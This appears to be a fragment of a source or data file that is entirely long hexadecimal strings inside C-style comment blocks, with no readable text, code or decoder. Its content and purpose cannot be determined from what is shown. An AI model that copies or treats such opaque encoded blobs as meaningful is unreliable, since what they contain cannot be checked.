eff563ef260901b132c6d12f11ac7087a03d849ea268b0c6baf8a3ac23cfa0daa410dcef109c4e01e5a0219c294701105ee58688e0d956ac6d4106fa0c2a2fb51155b5d567db4d340fb24ba3b3add220da4dd6be0df99562f2058ffe4e39e22b83a9af9960f99c16aaf1adf4a86b1c79a5873c5a8cdfe85d35e429653a13b1e55d40567b9c76647ad4cb0dee56c6a886186fad8e957858157cd49766193a89422a842dc2558328036896cf95b55fd8666f0d12ddf778959cf57d3ae506f10bd6714f2261c872197c48510d3c86ccb03946ffdc424970737d7511fce0c640b376ae9ba688449728ca373648dce563fee241c78d8cac342dd620b50620f536389dbacadfe8e52d837735675758fd6e2b14255daf6a682096b6d5219c6c8360c69859782a78d8ce46e59d4ea99c1052951cc6a631bc1e817481fe18078fe32f77f3e60d2d21ce8c3c9d3807602eda0d7c1a8b1425bbed49de440c9ad97a28cc9b368fc831ebf1492d70de1a8e18aeae7076a2c876509b6072b933a1839789d3e00d026c1d47d46a53d77414aefba313ea39d80f682d26d3637537093b840468414d4df9929aed8ab9a5b483ca717b128020299df51d2ee5bb4fa4188721f69204e07448ede6e81a235c43b5459f0740c94f96b7873ffd5d9ad9ca0a39d15cc26d175fc3d7fc45d84a070bc743193237be665df96dbd048f2f31e55916bf58271082b4b7e8a05b5f3e0ae63a3b1cb7c96d3be871ae4566ea044372c21f387dfbf64603cd6fcbf130741676b8599153afb64f221643e6778721ccee8ddd6bdd8b08b28ce767d4be34406b0ec285431f286b0a15e537091c42db6a47f922217de8b2b7c384c52b51729077e1179ffe206be419c25f4c741cd6e0b3c5c58b5ab8c1d0a6f5b8effac9b27bbaa8eeaf15f2231b2d1827d29b5501f4011c4901155fe036759ad08894d2fb79e4dc4afe49395df6031b8bfe3074b5b175beb5c89df54d025cfd3cdcd8280caa380e2d893ffcf801b94a09ba63d48971d4045ec2b05c96f6a507cd7224d40a1bed1dc9e68754927a63464966a1bf9f526460fe3c6924bbfab1db1ede47bccfae67d5ff614f7e962c639e58bbbef7b52c87a9ce811d9341bf28c9df48766eebb6578c3ab055ed15d7dc302d78e2538d3fffd87f65a43beed13a14dee0a3b1eacd748370695d1921ac5195e3a862c60ccd23882a30ec2baabd4786f77d13003e61d33cc0f23907b420f870adc7f815c154e4e98347f4fffe99de8a4c12fb3f6793508166cbb088f2ddcc0239e1332032158cfb0a565cd9480d35db37d1aa9ad0ebef7dc4e21054f6a196c0d559db34f97d6285af51bf09fcfe542704b318730270ab98ac343b5fd8628d103bc82733955f6080de189f5253c009dec30d5c0c61c2f91189ab307abbc6feae12ad842d16663c2826d91cf458906f571d7783b1ab42a448c83135c7478b999f301ac5d292cd5a240f24a9e64f42bc8f289d4c6a4f482710b6f830d1e44d43fcba0edd8e70b9c8cfd28a03193953595f4a99fa7fe10d9fd5f50a37044e246e6ed2f112bf054a6e3ab49f3a11f08c209ec667083ece598d97f84a74a4bfbf3632f734d1bccd94af99e99409ce7513e49670d51e5d5fe805a5cd71d76944a32fe0a22199a656f4d413f21b3c6075a1c4826e396e29785d1cc5fd11a023456d673e11430081c79d07813dde2e2b4392b73d422c6f3350b366b744cf7738715bf9a9212759a6682febd2742d2ce6ac168c3778a428afe2cd7c01a6a7d149f706681adfc89c60b692ada70412ef08e5569a7329425ae866305d8cb9fd779eb61b3ebf3f3263ed7bea8a7d792ae2d5026b25ea8a5611d8df525fbfa4f869736217745b5e377ac63cee4b07118aabd34e302d4ce3797fedcdedca2808f62ca0a6393e5f6a8193b040d3dc26b71100c6f55f05e079b919b510c475dadaef8e686a906bc5f3f59a9c6bf34641a63ef29c1deed5f5c51776564d4a0d345ca806b79ef567c41f869e254c2d0835b693a6e11c263ee9100ad390f3f54c34cd1dc48509f9f2980f4847d5e2f48082fdbe0df243de9d6d5cf4e1ac40048b8a941c4b7dbb7040c15b83bac17cb35b20f20feb9c8c20da75f*/
/*546915e22f48a0e69045edb8e80823f31cc79f40d05bf14953afeb676041555f1012e0e354ae6c5f386c3568cb0fb579ca2d0ca0285bceff2cd2993b780e1e3e3f968faf8dde93d57611181b3caace4a3c0f772ae2a0c967d0fadc247ca050c36d48c55cec15844cfb9ed80e0cf5db789bde63cf8a2b722d0c0802572bcef8b60072e7b2fa5bac9a47eea6b1796a9968f4da454bf6974192ceeb48171c717db4cd06d9bb2e996a8fd4288341598af0ab199b0d6c51c8bbaec7c8c8fca5cb559459b09c68c4f3ce3499b9a3351799893b4db6d9602dadeffcf3c97b4af922e38fa9fcb01085c2b569b4e3af09f72bee60c5259a9d382e52fe9ffac08e4b8f281190c6c3cfa4309ffe916d580d0a48f0c58da97e7aa74166950ca4512f179191930e8d68efa7df6557615f5f74924cf890fc9afcc14c35f9464e76161e0d8db15b77b96f36c2275c20b2882c8a1b3998fe2430dbad82665bd41dca7e4b07d850c9eb29d1fb7342f765424a9248aa95784d575f2fceaba1be86aa12e22420667722d760bb1c0f9e97c3f3720b9216105cdeb952d37ed51a2101211271ffa553ee8edde7d59b4b224a145a4bb7c58847f4e12bbe8af96a1cbafe0fac4b5760009e2cbb6c6d09b35e20e5b0f8290fb9d9c35069e6f28d7f7de6112495ef95121ca523924785d7368308df2063b3c4022dc7c3f1b1550cabb2c4850970cf30f724587bf39bbd3b7a5e22dd5211d153cd90fe59de9d8dacca7c26aefe308ebecc919dffc6008da4d529bfbae15c1cf7855f525f20ea9f73c6138921c106aa083bca15c2b8b46df7e3f66c4ac98f376f30e6df3aaf660c243f819044d2b13be7c8806f8725e6575e5d3a9909beb4293f973b90d703c533eb2ecebec68aadf5e71d973647eb0eadd11d4db538451710c048604e03f49376fedee72bc1f5c0a828c0427e518d3d9e23e267883feb4a9a2f23f3cfda261438787ef34f8da6fddea35a9f249cda9df9b1741edbc22751939772fcae942a308c0f6804dcf2aaf1d2eeec6bb43ce0fc8b2e9e141d25b8f09fca6d477b55ce0d583698608d2beecb2799f379b183561056355e5ac3bd8f8c00dfcad7f762c79a4614cdf8f9266e85d832410c8a2a8140f9ba26c9dff76952aef417c28a2dc49821b962ba35f55df7bcbf258ef9c59c8cfa232b0e6e9a09e467856eee6c0d41db9d4b5f8c623f6166fa88f7e16a47bc2e9ec6c867a46c0106b0dd2f953a338aacb2f50ecd6b79bf5db635c9f85433ae96e76bd59fe3e9bce7b52c0b471f9a61510236f71cde411996d78c4d310c5aa9463474437cd86af25408387b0ca5c23ed634ea4a914d2147dce04aee99117a18b42e4b4105a94403d751cb4135e163d6f1cc504fed8575982f1be51c99d330d32bf1dbf5be87f55bd6b3ad8cd26c33c45e03054fa8fc373845060c0966abef2c2d9dff4a39efe05594cea52dbe778ac45d84d0731ebbb98c5af147d0ed14bba4c0683756c152bec5fedc55c9c33cd9e93b6837bcff201b80badc9f95ec52a532ebf9aa11703bfa3e871d7025b5b51c07486626ea7525eef8cda97cf1e4ab28a30104338e483f1f488ae2bf3e4d995cbdea4908078915d8b146ada17c396fe9a8f7b18eaae3ba2cb5bee0099b151dd9d51020c5574fd9546fa48c82ae050b1fc62b09d927b41ec0bff780d3a0401f8dfe3b9c22c6985f1e4cb8bb8bfacd89779b2c392f16e2175b773d453e01b935170837213b4ddeb3e5dcc0bda802c749393a34ef5628a18c6477740e6bd1347dc4f535d3879ace1743fb2e7381c0f7fde5a7e150cae9c24ee4134fc30944b5b59814bb0c8c526f3d26384a4e460b328e965d5adb91a473ebb1daa99cd66535605ed2622730c39ed4d7bd4345f3df5b74705dae13fbcde95ef443dfdaec66ceb90a88ac570d6534e6484bc4e914ab67027a91ad99c0a0a03b7e451e6d974f521397f4b87a5f2dce3f5a53c6153c934467ce3dddabb349ead4a66bf9f6cee46be9b5b99c7908a35a5835b318fa946785d7f2094578c1f35fb65d0abe7b505f5f4ae1a0929627aec9202a61e26ac6bafbd1ad788b87f846ef8f1162025cc06fd983c0f04faa506e4fde4bef760bc613e8c7c9390b3856582adedb3240fd39b8bbb9b06d050aed348500127bc155b04db7abf97285e55213ad8068ad6539546c7701a1c65ee993019b2aff0a9945da68c5918db5b3e35629872b010b7aa6db3321f0ff3e8db9bf73cdad159ae08900c39d35b22729f76040401e5a20834dda7cbafa54e0df95f0a9af8f85f543d35fe5cc35d4234f04976bf234e347cd388db9f67ea2421f26d0f8b489c81b615121aad7e8cdae6dc41ef0a3dffe7ae11182c6ccb07487c05765ea3458dcaa226f3f3c6f07bac0f379c66b7914c5f2c443622a15ee3e80ca7481c64b2221ad0782f7ed7e1a07a4f6f89bba14d8000b36428728b2cd4efd4a71f18189f6d2d443f0bfdae2445b2e644b7a07dbc3efdddfb28192d1c69fe1feaa56d072f3b35a9a79ec88e3579c0b7ba4b759a01976d2b8aae64b2eceb41afa1b36b728f71c70bad66d356dc074bf4f2b4289cabeb0166f1a7fe44aba35b7be9ca073ba85b696a7d6b0f0e8ee638603d06232b5bc65dea61f03fc306394be91d6d73b42e890c825a045f508faa2dbb1331bb8256a160c30e5e8d9e3e867d3a2db461e7160ee049e3c4744a932f52387ff73deab19c734d7e9bc1df2e137d68e972f86eb5cda2184681977a0d3f53467f3c4a604e5b13cb7823774ce0180d812f2b1a95f5ba48d4ca38f0fbd5aff224db0a1f63cb69c380706aa90138d18*/
/*6a1894ecd88f7e74fce1fc244c559e033674db6e714d416c331ece4881931b3a6353a9385fff59490fc60118bac4ea87c6015430ce7fd359179a8886461ab192e2453f98f8421f2897c507384ba401b007806751a80e7db24ad04b1961f5d5424cac211d23e435b3f340de013c52c893e952a73603c8515aeb6d65322654b020cee3cf19038358bb79546b3098088672e799fe862f90cf2648823f219ff20cfa1c695d31ba9171f54c60d50ac1d186a0a60ad3199a28dbeb9ebfa11b74043d7f7d4aad45ff115a98a59d89c23bdbda789fb629a4cf11ca8719c2afce325ec530c20d0732750bf056fa61f9e5c104c9d773a4138670bfc1be248d24bdeeffa068ba48efd3eea5a7135f901e30c7bac70fe5fd57a29b5c2dc5950815da6befde1fc8dae0e171cd098e598e6c7f61a520605fd28612f536ec4b8dc39b50a515eb8175446b9f9063ae5eda1f0d19ace7783e76806c290506950872a825beaeb47f22438e6ff41c5d57686e167175ac30c45414114344b367731bbca73533766d10c1f3daf8b715864e570ed9f5d756990f297fcbf9d6d333080f1af70cc5689d139867595ee6113478ac75a671a976399cdbaa5d74a10f5a3b70ebbcb6ae67083116c57c1536f0f203ab2a6e1979475035de3dda0f1815ee62d659688a1904f03e26f6696c82b9e792b1fb8d92fa6bd9604db40a001c54bfa4b6d8cc2d6aa39be2316bce694d82d11c1708ca7dfad9606e4277bd6041e5b1eff91c4d0468cd40408db73ef59432c22c87136b1fbdae0195142533bd671b839e741a7dfbd244ee648451d7c0eb31260c256270dbdc3f5eec3fd301838962cfb646aeb697bcf6dedd91d5b3aec97557e232c18e8b4adfa05f59954df338d1b4f05106bcf401b5925ccb241c2616a1e672aae4ef8e3490de8577c88a3b5c9f0a262fc3897d6d7a9dd0d2369db3c807f67aba6b7ac092403ff3a8d9fe4d2eb173800f88274a2b88ff32933a849ef915de7cb1edb3776772a3c1cea2ec1b059af20081c7bdf1d1967562f880b6045afd2dc518601e508c217a9b5107cc262d5e1370302e26d737dac9397d633bbd12f4f6d181de59c9fdc153e01da51f57468af932d4d9a85e9586648826ed09b4fe4328e2a790e928a2f26549faf2382dcaf5f6ffd24babc46887af59f90e738a8649fbcb28ff6e2ae3ad14607f0b3109e13c64a8da23727d51ad19130126bc1c3d8cf032d7508df20222e645be19f6a9e66b82ffe05dc618ed043ed201038b71063be5e3309b4aa0541d87a952d04820801861fbed2fd42edbf0f82ce3473337c0964adfeb57b2e6ca4eda4ff8bd2692db8a1d51d04e530871f46c0d44a8c7f537efcb11626b2de05058c0b39382045f0522b211630586026692402e4239d00f304566f1ef71054db8eef7e3b680f2ebb7e1f23ab845f0026e9f3cdd0bfbb16f432afaa4e09c206df7279e0a606b95d37ea42f487c2ee049247e9567bf387915383f196cbfd760ee871724b1edce72d6654df976dc07da62585c82bf2dc574ba4fa553a816dd2d8b1b8eb22cf3a279de616b42f2b48b99d1309b0b0b993362efecac18d6a5ff03a66f2759fd23093f0d1ea316751a65069bc2c02c0f65fdb6084f5408a3af45cbe26a2dbc6ea9d0a03e763c8ba9078cd6863cd3db07d8b55af753f62a56414a20bcb81bd8a86c2992eac96827592948ba05c3b58a658492ee6f359320246cacd16ed528267afb23ec65461850ac7f0fbfe63d27ef238786d1958c12cfac52f4447cbc03cf621658f5390cb3b94e2bbd5ee2316f99762e22c03cd12ab2dcc422326733c73e284120d4adcdd6934440da1c278762f4a3e511de13124e691797639891e45beb007593ad78d696bbf19e772f5395521f716ea4100684e87cd11ee9f7903ffb5735ba9009dabbb729cbeac7af7bf26b6369b913cbff69a718a16fb9bbe036cb1a667060efcc5ed5d78d5b9c113294703cd7aef28a00e6c504e3958a381f8dbab1874a58b1a4ad6311bd5add04f7f362d887105a15bca70edc669a558374543309f5e496a3f0ffc1f8202e5427f2e6fc795bb4edb028ac2e2583c6442c773eeea6e947c90891efba4ed48731c59abe3a909ee085cb480aa1974648d9b27f1275af250538232d74fc50b9b625c8e18e23bf352b1636f6d1ea8995ee121292379f4c73823febcd1c8fc83ea70559854d8ef962cf47688f66977142d0ee5e28bf2ea8990779dcdf04473a6e7e7b1b37c25d1f65593306bf4a390fd83dd67f2c64e2f79469ab49367b3e8b3514a0eb01e444a00dfc227c176e8f5d2cf554ded56aa7568c4ac37dd9472770c6909207f9f793819518506f55831a29c4ed8e9c87c2a3c4b73551cb37aae2efd18e2922af05e9db46664987cdb6d821a6034b7303edec111d5ad1101e02322a71e069b8a471e1b0b93a5b4c96f2bbb4b09828d347177dba1ae021438586626ae59912a9beceec45e067fa796399e18f9a957e03d7d6bfe9023c53ad74783daab0018c7232b7c5f12496f12e536ce4bab995d18e7af2a4309b186a35472f305889d5c2c53234b7bd52357bd688bb951f741a8b01c1f741c3420ea44bc50a4228f1b25f1d66e53b01dd427f948758bc289f432ffeded2d589386c04d8b0ef6156a1c89e58b810b57f95ce713c9729f00649ca743408c2479fe25c424f78dd0dfeb4a569843d452d1f52925e339dd8a96353929d9f7e1326fb4b3e93bab3490a89019a036763f7fabf8cecbcc0eab069ca8a57df6d839012cf6dffbf0f196924d50f0d16ef1e592b0cd265866b9d358b33c7095d5482f10f119c95*/
/*566fa94870ffeaedcbcbf9c7c5c3ee7eb6c9cd5c76997bc3d4af74508b334fb31d77cf0dc723b92e32a2f76f1fa62ad2da087dabea1479a3efe5de490ab12a06565cb96a1d54c04c97f508aaef5ce282f91bc1cfcf0efa75c3e3d011544807c5a8c8968e959bf8b7c33cd22a25c3141d26330372524b57ea3dabb52c8635d59b6a665a952cb20a45d2e02e660cdf769edffe63e1dcf7851f2b5f5ddb7419ff0bc38b6da447878beee9e7f381d209edbf245ffd3f2362ba45fff362522ace1d518392e8b57e4767d9d79df237133f98e992139980a827f4c623e203fe1ca712365c4ea25fca3cb1be384449f84e88cf4a806c40f8a431fdef0d7042a0772a20f3b0b8d6af30d3db8b3bd6cd24a47b3f406756fcd2c170210cecbdc5a7516e14911546d02c0cf56bf03e7b66d8844725cdaf3aa512d4447c846fe787277139233e68f29de14d7cb3467f16b6ce414c915df8f6d3f8a750809d67c7bbbd5e7061af8be5333a3deafa6c59f5a8c5b98c97466e4125f9912f9b9e836ee75bf24ea645f9f2eff8207cd17ee2b603feb5b7c2e58a12fc96f67c0f93dd8f1e59820b72719552fdad0ca2c34f9bb11cac985abcfe7b569271bfc2f4c2899c2490ece378eca7c85e21c9c1356d779c164d00c46093c2c6507c78ff61a951cefab18b9937505f603262f76bfc67e4e539cf6cc90cd05e30416cdc56b06f324929014e4e3e4231a28f92803ed1451d488de188e9f3118da1e6e25fe93eb94ca5b195325b807f50021877d6089167e855535224fa7192136c4cc943d4a3f89662fbfbf2ba61bf716f72a5d403fa0ac9a0647f72c0c8e6712a50f5137de34e4842da4c348d7821ce4dba1a8652381e11395f67672bd693ad834ff33529153f3cae9ad93a6f3557802ad6bb29414adf41c823f05f5aa6abff668daf348aed5e4bf95bc7fe9013c9491f4e27ef322d0cdfc7ae4ec6922fc0c432874e5c888b2ad0a88d3613f9da76f8715ab4a83dbe9fc9a614d5895e8230be259970c1c3093f184c15a5830c160210caeea20f2226eb3fc191ca767a6eece80a5a999c35820e0819c25a64811fae8c99e16c78614b1d3a09ea115834cbc989e2937400eed6b1b3f1bf68a9bac622347e6c9ff2ec388880541341c10a58df329a89b32ca1efd0a0e0e529ba2c2ead69b2a72ed0cf6169f03851549409c0012046471361e7001b8ce2f41ed2c6680049c054fcf917fd0b045c3fc5407c4f319acbba0426414495dd8cda228c983cb0692ba9b1ec36cf735396cd1509e7d1d42243ea407aa558e630ef478fa2b57c2f7b3a6452049421aaa8c96ca2da1c61dcaedf788c0ba9b71d6eff920351f5e5193017e740de6f2f526ac4fcc29f5b04a31c33efa00d8bf537ed38860667517688d86d947ac4b408b9cba89e508d7e38b5ea896edd42a7b04c840a824c96f595bcf19fced0f5aa1885bb3b73b142c3b63a484dfb5cf983af9aafd94cffdd5a9162288165c91abb23875f73ecd4187f3333dfa9b31d3107f11ea547cdc45fc7714a57147c3301ce551b7bb6f3037920fa7262b93cc75301d090df1810a497939e0732475d6afc83396648eb97a9f928ab981d5e0f12c7b5c4c1d77c806f86bba7d21d5ae212a9934475db76bba375ed48e79f3d95f0557c11a3c489e920157db9cf9b36a2ef46f7df70f5b9fbb6d8af3643e66c20720a08dc9cad4aa0588cbfb58ae8039f7abbdbbdb851c80c9ba5f8848eab2ad4af8f49f863766509cf4db9bda5500e5ce27e6ab05d0732c1e9c6c8ee582701c0df139a660bb2dc6ef9080a34aa95bc8968554b66782a1c9d8cd2ebf37a5d38223501b31381ecf159079d66b6879a1bd621c0afc4706c32ec39995be97858e17cb6c4bc8e989d503a32972e4d59609889f40e4d996be9d39bd8516da5a7787d267e1260b95d067966e9d6101f7d598e4bca88245b0d46c5dfb45e1ec20fe18ddd8d67157347440fa9ee5b2ce922990ad1286847d06fe43864ebdfce3e32b2c7451a06bd366c150007830d885d92c2159648d6e5b0416b7c1aa905d265e47218351315f921ab899cea95a58a4ae368be8a5855935283e39c7ec4161aa5ac3fbbdda0ee26af290ba80e8fd586ca67331072fc581549611321362a89e96cd22a6e8834f63ea9321ffe2488a5f3d68c6385de2429b75218dc9e713290f6296080bfec37480329f2232b3d21e908d8255dcea66aa14c02594f9c79574532e5cbf07d7684f9bd27105f05c8bf0709385f81b78e16ca540e52070d0a9899e571c8abb6b0e636e73b91cd9bce012fb0ada46b18ffaad4e8d0b97432e888bc727e6198d7256b8f5655e24bcb3064ff7bff1cbff20855a6f44446b7ed8725401134f5593b6bdc7cc72aa989243fa8ed7b8ba932c28a0f62a24d48a593b8a545d5b7cdfc46a55b4472feb6aaff69096323ef16a9a18f0651363187c85a60130d7c12e441506fed052d2b1caa01cc34b8ccb68f6a8a72151f755c43c7c86a5c0b86db6a37ff4bb24e7734e7f0b087964bb758838e0a4f60cb38db214c94675c2def98b346cbdb5c37ff8125b360a6c32bffa358c6d0094a56160257fd948a62073cffe6ec4cb0bbc32535ff297a35de26a3dd1a0c4cf57c789a7d6ce5b8a26b5d537e1b88be8003b8b54727c09c682fe572c87b7228ef5c5f4abadfa219df3f1b8848dbe6395fe0ca55c55fe6b2cc44a31c4e94e8a5c947c8f804ba6b32276559e2859fb5697b6f11a5b5fb866fcf42c4f3da11c22a00773ce4767bde34461594137d742bf97ef383d447a0a6f49c89dcdedc639feb146a98cf0e7e5b2bf3d04586bc7e*/
/*f97834bbb22ff1a8702f4f036f12f15e6e5afd1cc1409a73fd290edc11d3d4cfc8a9693a1e909b6bada85b2c9cf36b9a794668b7813bd6a8318aae73332abe6549b4df5dad6c8bc626ce205c3dd04b5efdd12298d56ef743a32639914d55f3ffbcd0ef9ac53c29fc7c80bcfcc3e8bdec6e92af1071380b6eed40c8ad606761ed117193e82ba4f94884c83e103f64303725ac68df9ebc3a727ebae0c7d0649a065d8bed1fcbd66b4684e1c6abd8265383b1a85c1577032da2c95b80df556b4fcd26e855ef4df790d2a8290881b13d8e4cdde5194c57d815ee0226f29ca2b096c5f82b56d6d62ee4651010e2ba6cb8c3cb01b9861e425a5ecc00858395cc13af3c1ddd64922769886b3d3d58866b77b700aa555e630d74ed6d87b675c0445e247e9ec9bc48cced38c0a7caff644859e9e13b22a90ef5a97d8ea1b2dd64b64695c2bbd83176dad6ffd464e8e723e70d41ef412779e8846f3dd1e8e53b3fa7a32077b5d59ccdd4a9ca711d01c2df17a946107426221fe937bf41169a433cf51b28cb9062faf7e0f456cc0b806ea315876e6d69cf4c8fd1ca967058e94f736862cf51264c2c9146afb90bbba22368460fefb6981dd9b36bbac2bc83bfea9c7ef394fa2346f53bc3f7c064c97a897c765ce78e9fcd0fcb69f4b8046837fd659315a5eea6775e9b117030b48e61555a6cdcd9ad79892327c927b4fc3d78d57cf49a532a59becb2979130cfb426bb6c71ee510b59768debbcb77d576f077673b47350c666c93b28ee8a7fe71bda4175b30109a460ac8d3fcb98a7f238c1495213292da7ced3dcc61e25dd8e0159e32d4ccb07b30242f8d5e306e558e62caa5df06fca62db8fb3fc2aba156685152de65b0e857c4f6c28f9c08d97f8605c9c1b35f5855695374275377382c1bf117b83342ccccfd5aefc1841c55f9566cff060cf68f30ce4a6b95e2edc2b34136515bc8c5f911420a5a5bd6937a74ecfb6274837cd81d78d540d8ce5f047d4e198f75fbbc957fc5f734a8f6417c4be9f8cfa0ac7785a3fc68144b69dfc926f17199bdce2364357612276df809bcf181d0318395379d8f1378d21593ce3ec98c0711440823b2179d40f6e6171b19ee600286cd410626dc71fa1da811f8b50731bfea8359801ef7f1019eb55e4e3689e05b7d2889d5c5f7f7885fea18fe5396712ce42dea36293a00016e64b965a728997a69534af29ba98a979a73bb7231729e2fbfb5e84e02d80e3fc934b030831e616f688785639b18a0bdb44f7dbdbfcdbca556e89e6cc8767e219505cd7b37db2cd3cf3930ff82a71b0961835370ee5480c286a6355b323a9c1bde71c14cd6821e20f3ee8c317a5411a7144421eb5a86a67fc5b0623022f4b25a9824516875a84c691cbc2d9c3ee640f48e8d1008eb8ddc56b1ca3bd3947e1d85bf6bfb48154ae83c9219402b88662d27d37a2c10016c8981955370914e61ae02db6db84c47f1395711b3118fd48243ccb6e04e9c17c7131c2f8c23eeaf9776f09c5560f93402c07f70531bea6a2917b4255e31bd4090ba3b0298b79d90069e167ac1d0148146578c67ebd856a4a66a0c7cce2048c8a761a492107b686398a24c1a35122b4a35d13e2047a5b9149506dcdd1e386f0a4badc65335107d15442128f418faaf49dcf9797a27d85bd3480a5fcb9465e6e42e5f5bc093d11d1ea056124878b728553663aba37d45176b32e16c5be401100d9ca7df10f0363ff244ab26aa6d851725bef18ed8b2e012586975151dbf2d33e9468f4b75b22b7723c8bdcdee4127f7402056e50eb928e9543e06e7c4403d6ae12953249955f23aedf17308dae9a4cb33ea6e3dde58aa98a57be91b956f8aac150c7536cb0f6c1068c1eebe545001f266f595b4f184cf93b1baef67efaca50b9c5498d18ad14a76c2f34f1eedafdc5cd7245c35f874df2e9c51d0dffb31169b74ac2ac1d0d90dedffdedcd547086b18f962ef5f0e90aab8e97887fd6dca4767b8a468c44744e6e1ba03569350ee87cade131a50061f2160970281ed9458a113dad5bbd4000a3a54c2e6584d1eb693769689dd07f49f5556b3e751fdbc026175654d0341a6c27479997f3354221b42b6d6f8ad71e039b4fdcb829af5f23ad2ba4dcf14af33776ce595dfb140fd2c7aadc71d36ca2cdc5c3644cd8603de9620d55646ecef3f1846de105b0bf68a15a946b9496a75abb748b206bab3f281e8f3cfe416d2491faeb1c826bde999d2b620fe05c5859a3580fad102c9f81b459eeebccfc94e9a41ef7ef4187a7cd718c1d286fb8b8aab442a6a20c2fbe054b13fc48e1593e3459aff7d90e2a14514c5182b2922e7d471a9ded19981a11216e46afee7e331e95664d763b0b9318a0c320415ae0a793646a6683fc20a0034370df9404a2b58fc97c3635ea6051a883a7afd872fc5ba6593de2d423569a003f8173f35abb337bd7ca17065fd44a40fd4cba663ff1ddda3eb0e1a47158b4a55c648f880cd9fe09c7899fca8c41df02947afd6bc1017f7fc0dd507279b62a9d1bf5edb66557b50e2e30dff42286247f789e40240cb431add1031c1fdd57d3f6044b68bf15137ef50555e488767a7813d9a6cf177d849fd68ee1609c67ccb3670faf95eb3bd4d521f45491d505d290743e2b5d21d807d6c9708f1c438e02cfde6d7462ca94010ed058f93801173d5d35d10cb3681e98903b2697880315eab01bd165bf445e6a3102137795fb9d060bb5ace75b7970994d0775a7ec0167d6870cc92bbfa492d797d1c4537c16ff12dd889231551944c2cd96ff9cd809f658a8536c17729ba2c20c48cf76383a81c924f1d*/
/*8df6473311508b5c511afa6a80c53a608e0782219fb00b6d44539f7bb446aee90006fd3118f937c380862dcffe089e59e7c349df866eb0698a327e5ed4e8742c23dea8a1e268e034b511397e7b929895906d6fa33e30acfa4558069d32d0c5e71db7f5a77452f5ac4bd4abc42d376d97e11ec623a1d32c14f18abfaec875afaf199f1ffa530b26f70b78e4b5f130eb81b68078bc638fcae3c15ba650ed8c67ae49efc2024ad4454f9b55fae9eabd93f5eb89127153f3f37ff63b0c27d31e9492e082bf20c9f4310cd9984b8aa7a2ec44d3ef60e32fc18a7fdfa884670f9954a92f080b80c94c3c4ba5a0f1da0b3f10c02cd999e6ee2c808e71baa70cfa39c64b4a22a35070b1fc18aa2704c8a0f9578c80c7fa8d4c5c306c082cd0bcaf35632d39d18b06dbce48bba163443b65044663a1fafdd7397c14c11974a0ea2d6ecb840473505249de2132650b5501610acf844c5ab7ec322bb36190b13d5a4950854bc3fc7970d37653eb2aaab4adbed7ee64dc99ea79eef2f30cd9f50e47964448540fa5e266722da050500f64f6138075a6e270614bf6d8ff9f47ead029544bdec0bc5914d9593585591a2c37321294677351ac311a2621110fb9e739bd348e04db0ba921207127678217cc259bd484fe35e4327db209313d021c4a16a322cf76c82faa73069e8d39e9e5f97465e95737d2a95ac170114bfbac7f3feac3f92c297f282af3782f44e3429d34d218a6c1a0b4d6d225af71638966ca42dbba1e12c11ffbdde2431749746b3079b930562644ea3166e28b177f9c1986242adfccd76ad969902c25635d7b195f3f051e1d54bdde0d0d05a7a24656a75b9bd053dda1b7e51030cfbd518cb42f26e612cf03d09fc015419d85a3deda12fbb474e38d672bd213156e91592ac03ce8ec969f399c709d6d8f47f5de44afa26949e3880c6bb5a0f08c9767ab778ae91d08200d9738fc15ec57ae06669cc9500d61783c0dcac8772943812151240dd0e28d172a825653e2a45dbd24b01996a5d39983fec341b22068904e7c9e873e6f8f94edbc575a531af0b3ef268e33b4b2f2c000890326e4ba787ec0cef5862605c7a15fb9b87a5247517693213a24554b4394d6965049621b665bfaca17e2028482b19967f81d382495fe7382e84223f4d164a416001e23e26c277bbb28b30209c4303081be560e6a665a05f9c9efc734b7d105380dafb28276c88e238d95ed6fd1115d3da20de08e469b16671e6a097e99c000e3fd3bfeca74df9943b607518c5daf5a4b3d59364df6ab2b362ba96c9cd646cb1152c0de26c2fab3537917005cdd44d26447dbd5df8b845c9a59dbc35bd61300b77542459fd5b670f4462ec1fbd00844969746a4d2402ebd68f0d2f7bbc44126611f14f634eb88ce5bf0e494bd26e6555678a1af68c7b7e5cefd6090a5d6503a549faa9dd2fff944d5da89356614e6cb00e909ce43f8eeb43b8b254b724397ca4cebbdd1b20a618fdf6b02006a0430c60f95bf35a31f177103e8629b5c38b1f466723e8f857e51d8eb16270990779f79071a378850f51ded6e763cc9cbef55034ca70235f2af270fb10b302dd80756c8dc2a56339a31a22f2dbc842aaa3e2108db7ba2402a854cae54eec4c8e1fe5808442d78cde9f8cbbe6c4bd215c086ad3cc8f87ddc8be1373c64ec9afdbc233d81bcfa6fda9d16e6830b7440aba9227d9d9b41c1aee57fcff1fe53b6e716a0902d8143c24df4f01ce44dd6a901a0fec9f31cbbc36c4fd3d6a6c51a62f3a33b93a49fe10f28fcaa6272a61ca774c4d831ca4e8684ab5d17e2e775ad4c4e68f93d06e0343387719667db66e3a90a83fafd9950746dbdb390577af5dcf372345bf3ed58ffdf012353f8f60b4fdbaf07e35ecc0780fa663610579009a4bca9fe9bd7fa018799c60510eb013abd67911e7639ea00118764db1d4f7ed48d1547488f8589a99d05b2571c196b35055fe0f497c56666d6ce6523527e1812cfba6e68e7cbba8c44b148e559c1f59819e09043de17db0f50da84ac0398649da5882376836490b3dc1dd5cea7ef1a11513b405977fa17d53abb55a2aef0ded9e28b21be42551201583d711f850a58dd666d878473bfdaa5e4d8b68edab28c0018e2cfaf31ea80c530c186819c2c17842c93d652358c2da53b6d7039662b38c7e1c834aa1619d62841615ae024f990de11fffeae91061a9d8ad62156ede573a5a99b926dea0d851abcc8331bf0a4ec5238d6c2e8870da6c0b384dc4448fbe65aa2fe7286b5f0a0cf71d984e25c87b75c52ec2461714665a7cf95d9d7978c0979c1052ce0f3b913802eade63f1ec88bd3211f7f2606c64f40382084016484adb18fc4f866eb98e4975b04641a38c29e9f7e820b584ac1e1392ea47a83a24a73943a5f9204b4f95bf1e456b15aae4fd8f80300d1c034f7241b3c53c0fb4469b04bf44a83cf3aeccd52d023c3d8b1ed25dafdc19bc51de75e1a28e2ff0fefc89b3332a4d7d7e000068650fc18623e77d8accf978da13c15c1f99d5b17fd9f47a15127d8445cce3c039f5446a78d5ad0f56f2b7d87fb652426330e00c506cef246925969daf58eb94a1b785f478e23dea4acf8dfff38f236bd998fe508ed8940ee58641fc903e79386fbaa2e729b976966c48896a09c1aa4fbc131514cf7138044440e20738daf4c9792699bf81b130cc448150b25d637ffe72a626ac4f1432c5ae8ac9e7ceaa12e912ce72f518218733a06de52c4634733af2d25afcae90e101ecda3373d6d8191f0a57b43bea507045587098dada2006730434dc0b3bee732c8f0ac1a508caea45a1c0b74b7a7*